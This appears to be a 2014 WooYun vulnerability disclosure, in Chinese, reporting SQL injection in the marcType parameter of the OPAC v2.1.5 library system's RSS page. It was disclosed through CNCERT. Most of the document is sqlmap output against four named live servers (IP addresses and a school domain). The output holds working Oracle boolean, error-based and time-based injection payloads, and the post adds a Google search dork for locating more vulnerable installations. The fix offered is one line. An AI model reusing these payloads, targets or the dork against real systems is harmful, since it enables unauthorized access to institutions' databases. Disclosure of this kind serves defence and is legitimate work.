当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076316

漏洞标题:某大型图书馆系统sql注入漏洞

相关厂商:cncert

漏洞作者: 玉林嘎

提交时间:2014-09-17 14:14

修复时间:2014-12-16 14:16

公开时间:2014-12-16 14:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-17: 细节已通知厂商并且等待厂商处理中
2014-09-22: 厂商已经确认,细节仅向厂商公开
2014-09-25: 细节向第三方安全合作伙伴开放
2014-11-16: 细节向核心白帽子及相关领域专家公开
2014-11-26: 细节向普通白帽子公开
2014-12-06: 细节向实习白帽子公开
2014-12-16: 细节向公众公开

简要描述:

又是小厂商的节奏 我知道

详细说明:

问题厂商:北京金盘鹏图软件技术有限公司
问题系统:OPAC v2.1.5
这个图书馆系统应该是全国各大高校及相关部门最常用的

11.jpg


v2.1.5 应该占大部分吧
谷歌关键字inurl:/opac/book/do.jsp?method
问题出在rss订阅

12.jpg


opac/rss/do.jsp?marcType=1&callNumber=&intDay=1&rang=50 (marcType存在注入)
选取部分为例:
1.
http://118.122.113.7:8080/opac/rss/do.jsp?marcType=1&callNumber=&intDay=1&rang=50
Place: GET
Parameter: marcType
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: marcType=1 AND 3213=3213&callNumber=&intDay=1&rang=50
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: marcType=1 AND 2345=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(119)||CHR(115)||CHR(121)||CHR(113)||(SELECT (CASE WHEN (2345=2345) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(110)||CHR(106)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)&callNumber=&intDay=1&rang=50
---
[08:36:32] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[08:36:32] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 13 times
[08:36:32] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/118.122.113.7'
2.
http://202.201.19.10:8000//opac/rss/do.jsp?marcType=1&callNumber=&intDay=1&rang=50
Place: GET
Parameter: marcType
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: marcType=1 AND 2158=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(108)||CHR(113)||CHR(114)||CHR(113)||(SELECT (CASE WHEN (2158=2158) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(109)||CHR(119)||CHR(114)||CHR(113)||CHR(62))) FROM DUAL)&callNumber=&intDay=1&rang=50
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: marcType=1 AND 6146=DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(65)||CHR(81)||CHR(115),5)&callNumber=&intDay=1&rang=50
---
[08:41:32] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle

漏洞证明:

3.
http://113.247.235.133:8081/opac/rss/do.jsp?marcType=1&callNumber=&intDay=1&rang=50
sqlmap identified the following injection points with a total of 45 HTTP(s) requests:
---
Place: GET
Parameter: marcType
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: marcType=1 AND 6802=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(103)||CHR(121)||CHR(113)||(SELECT (CASE WHEN (6802=6802) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(99)||CHR(105)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)&callNumber=&intDay=1&rang=50
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: marcType=1 AND 4528=DBMS_PIPE.RECEIVE_MESSAGE(CHR(88)||CHR(122)||CHR(76)||CHR(122),5)&callNumber=&intDay=1&rang=50
---
[08:48:21] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[08:48:21] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 36 times
[08:48:21] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/113.247.235.133'
4.
http://library.cnuschool.org.cn:8080//opac/rss/do.jsp?marcType=1&callNumber=&intDay=1&rang=50
le: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: marcType=1 AND 5379=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(103)||CHR(119)||CHR(113)||(SELECT (CASE WHEN (5379=5379) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(103)||CHR(97)||CHR(109)||CHR(113)||CHR(62))) FROM DUAL)&callNumber=&intDay=1&rang=50
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: marcType=1 AND 5388=DBMS_PIPE.RECEIVE_MESSAGE(CHR(102)||CHR(121)||CHR(99)||CHR(72),5)&callNumber=&intDay=1&rang=50
---
[08:49:46] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle

修复方案:

参数过滤

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-09-22 10:06

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-17 21:54 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    豆豆